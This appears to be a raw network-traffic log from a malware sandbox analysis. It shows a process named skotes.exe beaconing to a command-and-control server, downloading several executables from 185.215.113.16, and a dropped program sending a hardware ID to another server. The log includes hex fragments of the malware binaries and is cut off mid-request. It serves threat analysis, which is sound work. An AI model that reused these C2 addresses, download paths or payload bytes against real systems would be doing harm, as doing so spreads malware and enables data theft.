Nov 18, 2024 23:04:08.323013067 CET	1236	IN	Data Raw: 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 d4 4b 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 10 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 Data Ascii: SelfK@Src@StartIndex2@Dest@CountbACopySelf2@SrcK@Dest@StartIndex@Countb ACopySelfL@Src@StartInd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49882	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:24.551094055 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 37 32 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1007251001&unit=246122658369
Nov 18, 2024 23:04:25.456556082 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49891	185.215.113.16	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:25.465620041 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 23:04:26.383366108 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:26 GMT Content-Type: application/octet-stream Content-Length: 1873408 Last-Modified: Mon, 18 Nov 2024 21:24:12 GMT Connection: keep-alive ETag: "673bb07c-1c9600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 d9 75 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;g`J@Ju@\ppq P^@.rsrc `n@.idata pn@ *p@iqfuznvgP0r@wyslmexkPJn@.taggant0`J"t@
Nov 18, 2024 23:04:26.383379936 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:26.383393049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:26.383532047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:26.383543968 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:26.383553982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: *o`25+n=MI+:N)?5NX<m&B2f}j" oN-S<7=%j<3k>+7chqM,BE
Nov 18, 2024 23:04:26.383565903 CET	1236	IN	Data Raw: dd a2 fe f3 bc 15 9b 52 d4 02 d8 f7 60 85 38 d1 3d 1b 2d 74 27 05 62 ca f4 b5 3f 4d 1d 86 06 5e 57 f1 50 82 0b ad 1a 77 b4 91 38 b0 ba 8c a6 ed 4a 80 69 0d 5d 65 83 c9 78 81 b5 be 66 87 cd 21 00 a2 50 18 6a fb c5 1a b4 28 9f 95 bd 75 69 8a 0c bf Data Ascii: R`8=-t'b?M^WPw8Ji]exf!Pj(uig+T@]<gm/J-8zjEgN<;ah7W%6;O[Q*PX2cn'r0Y%` l]]}%F?!#cb$j
Nov 18, 2024 23:04:26.383579016 CET	1236	IN	Data Raw: 7f fa bd c7 e6 b4 72 34 f3 dc 95 c4 71 da e4 58 1b 17 39 39 53 aa 5b 21 ab 9e 18 bd 51 41 e7 17 94 af 4c d3 90 46 3a f1 12 f8 bd 3e 2b f2 68 bf 48 ad d1 76 b0 a3 9f 80 c4 0d 18 29 4b da e8 13 e1 d2 f5 a6 71 13 40 85 7c 88 1e a0 3b 29 6c cf 30 c2 Data Ascii: r4qX99S[!QALF:>+hHv)Kq@\|;)l0fq`]u\p0}f?o1s[hKl;6LI~BoIiO]%1q}zq0_/w#{_Uz8_jYNrJdo@zdC1}_W;
Nov 18, 2024 23:04:26.383590937 CET	1236	IN	Data Raw: 52 96 60 d7 cb 81 1e d9 af 7d 6b 18 b6 b9 9d ba 59 ba d2 65 bd 89 ac 1f 2f 41 86 31 5c 85 a3 8e 8e ff 60 f4 e7 76 20 00 dd 3a c8 2d c6 aa 09 cf 6d 8c db ab cc 6d 22 01 3c 21 16 85 e1 3e 04 1f 56 e3 e9 26 7f 8f 25 65 6c a8 3b d5 60 ca 6e 7a ec 9f Data Ascii: R`}kYe/A1\`v :-mm"<!>V&%el;`nzUEyAR,`;>$jWgt4jC}/5XN>,ifut=(IB`VEd7sAW"$0!isL/];)pT=p<1V"]Qv
Nov 18, 2024 23:04:26.383605957 CET	1236	IN	Data Raw: af 7d 25 a7 5f 0d 2d 25 3d 20 83 ae 44 5f 0a 28 a5 44 fc b1 54 3b 1e 11 18 dc 37 13 9d f6 ef 9c 75 2c f1 4c a3 bb 1a 2c 3a 8d 3a 6d e8 ae a8 59 6b 1d 6b 36 55 df 5c 24 27 5a a0 1b 69 c7 3b ff 70 f2 19 3a e2 41 96 50 e1 6d f2 c2 c8 cf 52 ec 4a 40 Data Ascii: }%_-%= D_(DT;7u,L,::mYkk6U\$'Zi;p:APmRJ@Kh5g~n2_tZ^-EdjyV`Q0W>WukRkW!,eV%?$:CM\|5c$z\2F8]Mt~:{~mV;w&idF+pb4AG1
Nov 18, 2024 23:04:26.388501883 CET	1236	IN	Data Raw: bb c6 c8 7e cd 63 68 ab 6c 10 68 d4 55 31 e0 c4 f1 b1 f3 3d fd 89 52 cf d6 e8 2d e5 d4 77 79 46 57 f0 f5 51 ea 80 e8 54 68 5a aa f0 11 33 8a c0 39 de 70 8c cb f6 df 33 c0 c3 b2 49 83 37 bb 56 e8 95 7c e5 21 d6 e5 24 56 5e 2b a4 d1 7b 35 81 50 ca Data Ascii: ~chlhU1=R-wyFWQThZ39p3I7V\|!$V^+{5P2N3jy<dA!_P~hLa5Wvl[&S:>Rnd2<UME*iX~^`Y-F9F$x+Z+QwqkDC2<;Lc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49914	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:29.727679014 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007252001&unit=246122658369
Nov 18, 2024 23:04:30.628304958 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49921	185.215.113.16	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:30.636365891 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 23:04:31.554270029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:31 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Mon, 18 Nov 2024 21:24:19 GMT Connection: keep-alive ETag: "673bb083-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 1a 52 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"0j@`jR@M$a$$ $b@.rsrc$r@.idata $t@ +$v@bovqhner`O^x@fuiaraiv j@.taggant00j"@
Nov 18, 2024 23:04:31.554337978 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:31.554348946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:31.554361105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:31.554373026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:31.554383993 CET	1236	IN	Data Raw: d7 98 c7 db 3d a2 d2 62 f2 09 5a c2 76 61 b0 d1 2c 29 57 62 9c 79 dc e5 34 b5 36 39 59 8c 53 d5 ff ae bf d8 a5 f8 27 dd ac 3c 1a cb 69 0d c1 02 13 26 c2 4a 9e d5 86 67 f1 bc 7c 7c 9e f2 2f e9 23 88 c0 05 1d 63 4b c5 89 a9 11 46 11 f7 0f e7 04 f1 Data Ascii: =bZva,)Wby469YS'<i&Jg\|\|/#cKFUa)yd@O'a96B\qaq/.{8MoPEe5?hiTYJco}8
Nov 18, 2024 23:04:31.554394960 CET	848	IN	Data Raw: 7d 16 89 f7 eb b5 9e e4 7f 70 05 58 72 94 8d e7 b1 fb c3 55 bd 77 d6 85 9d 6c da 92 f4 f3 5e 43 ab a6 98 32 63 ad 83 d9 9c 29 d8 62 6c 49 2e 7a 6d 4c db 45 1f 70 78 5e 46 4c dc c9 f2 68 a8 e4 d0 ee 06 f0 8d 3b 23 fd 85 65 00 0d b7 ee cb 89 c2 c4 Data Ascii: }pXrUwl^C2c)blI.zmLEpx^FLh;#eW/.Sxa""]dpETs%<l@Q9`z@r_1I<2j%/{u}&$2zaIJBW6N/>;X6P$%
Nov 18, 2024 23:04:31.554991961 CET	1236	IN	Data Raw: a8 51 06 ac 13 cb a8 af 09 4d 1d dd 6d 99 5c 2c fa a4 d6 93 25 f1 9d 5b 5d b0 57 7b 9e ba db 9a a2 f8 ba f1 21 45 ef db 35 19 97 f1 19 1d d5 2d 09 06 b0 a5 b5 39 89 ee 9d 10 42 e7 a1 6d dc d5 03 bc d0 1c 95 97 70 f1 9e 7c 2f 9d a9 90 c4 de 51 f5 Data Ascii: QMm\,%[]W{!E5-9Bmp\|/QFI$hvlKB2II5-tnSXtde7o3;Qu\|/TqEr[603qu~5a7V.ZJ21n"e#
Nov 18, 2024 23:04:31.555002928 CET	1236	IN	Data Raw: 04 fd f4 58 98 68 af fd 97 a9 5b fc e1 ee 9c 3e c9 99 c5 fd 97 37 bb fc 55 89 30 6c b3 a7 57 f0 9d 01 52 7e fe 98 86 0c 3e 11 f0 91 b5 99 5b a1 4a 71 5a eb 45 e6 5f f5 59 4d d0 e5 ea f5 94 01 c2 49 e9 51 27 3d 54 d0 29 c5 a6 ec cb 9f eb 21 19 3d Data Ascii: Xh[>7U0lWR~>[JqZE_YMIQ'=T)!=U)<!75KiZ$-q)V<-I61gop(gW2Z&)YTR/!n(oxA1t,mapn7\NWUb)m
Nov 18, 2024 23:04:31.555015087 CET	1236	IN	Data Raw: b6 fa 9c 87 1d fd e7 75 cb 69 5b b3 1a 97 cb 9b 03 77 e9 f5 bd 9d 43 fc 00 86 00 b5 bd 99 e9 9b 79 98 b8 fd 22 49 7f f0 55 fd ae 49 fe 46 5b 7d 58 29 9d ef 41 89 3b 66 36 a4 d7 fd 1d 25 5f ed 45 f5 5d 2b 91 70 ec 45 c8 73 eb e7 cb 89 10 d1 a5 f1 Data Ascii: ui[wCy"IUIF[}X)A;f6%_E]+pEsji6s79=+>GwUm<[bG7;9)c^CC1o3f= rbVn?A^W7wb)%F4/05u
Nov 18, 2024 23:04:31.561028004 CET	1236	IN	Data Raw: d5 3d 97 fb b1 fd 9c b9 cb 8b 57 22 97 89 5f 62 29 ef 96 9f f6 fc 19 76 b5 8b 73 a2 75 98 0f e1 fb a1 55 1e a6 89 13 7a d5 3c a9 ee 71 91 27 f0 eb d5 ef ed 2f 98 e0 08 86 78 ad 16 23 6c 58 5e ee 3c 36 e2 db 95 ef 61 97 9d 00 16 32 87 2c 0b 8a 97 Data Ascii: =W"_b)vsuUz<q'/x#lX^<6a2,7aU*IW=6<oa+I7)LVE9h)Yq}Y-9764}i=XKvo9)-(4)[(xqUf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49943	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:35.141068935 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007253001&unit=246122658369
Nov 18, 2024 23:04:36.066615105 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49952	185.215.113.16	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:36.075474977 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 23:04:36.987047911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:36 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Mon, 18 Nov 2024 21:22:26 GMT Connection: keep-alive ETag: "673bb012-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0a b0 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL;g"dw@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 18, 2024 23:04:36.987071037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 18, 2024 23:04:36.987080097 CET	224	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\
Nov 18, 2024 23:04:36.987140894 CET	1236	IN	Data Raw: 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Nov 18, 2024 23:04:36.987152100 CET	1236	IN	Data Raw: 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d Data Ascii: d3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q
Nov 18, 2024 23:04:36.987166882 CET	1236	IN	Data Raw: 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 Data Ascii: OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t
Nov 18, 2024 23:04:36.987178087 CET	1236	IN	Data Raw: 04 04 00 8b 55 f8 8b 5d fc 83 e8 01 0f 85 ba fe ff ff e9 1e 04 04 00 8b 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 Data Ascii: U]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9Hm
Nov 18, 2024 23:04:36.987189054 CET	448	IN	Data Raw: c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 8b 06 89 07 8d 4f 10 8b 46 04 89 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8d 46 10 83 61 08 00 50 e8 e0 d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 89 51 Data Ascii: UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL
Nov 18, 2024 23:04:36.987284899 CET	1236	IN	Data Raw: 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 44 24 12 8d 44 24 14 50 8d 84 24 3c 00 01 00 50 Data Ascii: 3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]
Nov 18, 2024 23:04:36.987296104 CET	212	IN	Data Raw: 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 a5 1a 02 00 59 59 85 c0 0f 84 99 fd 03 00 57 68 dc c9 49 00 e8 90 1a 02 00 59 59 85 c0 75 3e 89 1d 00 14 4d 00 38 5d 0b 75 0a c7 05 00 14 4d 00 03 00 00 00 Data Ascii: Wh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EP
Nov 18, 2024 23:04:36.992479086 CET	1236	IN	Data Raw: 4d d0 e8 4c 3f 00 00 43 8d 45 d0 53 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec Data Ascii: ML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49953	185.215.113.206	80	1228	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:36.203459024 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 23:04:37.119338989 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 23:04:37.122056007 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 34 37 30 34 38 32 38 32 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"9547048282451388941053------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; 